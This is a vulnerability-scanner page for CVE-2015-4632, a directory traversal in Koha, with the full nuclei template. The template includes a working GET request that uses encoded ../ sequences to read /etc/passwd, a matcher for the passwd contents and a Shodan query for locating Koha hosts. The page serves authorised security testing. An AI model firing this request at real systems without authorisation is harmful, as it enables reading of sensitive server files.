CVE-2015-4632· koha / koha· CWE-22
Koha 3.20.1 - Directory Traversal
highseverity
7.5CVSS score
51.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
Impact
An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
Fix
Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
How to confirm it
Send: GET {{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%…
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2015-4632 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2015-4632
info:
name: Koha 3.20.1 - Directory Traversal
author: daffainfo
severity: high
description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
impact: |
An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
reference:
- https://www.exploit-db.com/exploits/37388
- https://nvd.nist.gov/vuln/detail/CVE-2015-4632
- https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/
- https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
- https://koha-community.org/koha-3-14-16-released/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2015-4632
cwe-id: CWE-22
epss-score: 0.51829
epss-percentile: 0.9896
cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: koha
product: koha
shodan-query: cpe:"cpe:2.3:a:koha:koha"
tags: cve2015,cve,lfi,edb,koha,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/37388
- https://nvd.nist.gov/vuln/detail/CVE-2015-4632
- https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/
- https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
- https://koha-community.org/koha-3-14-16-released/
Use this check only on systems you are authorised to test. Where the data comes from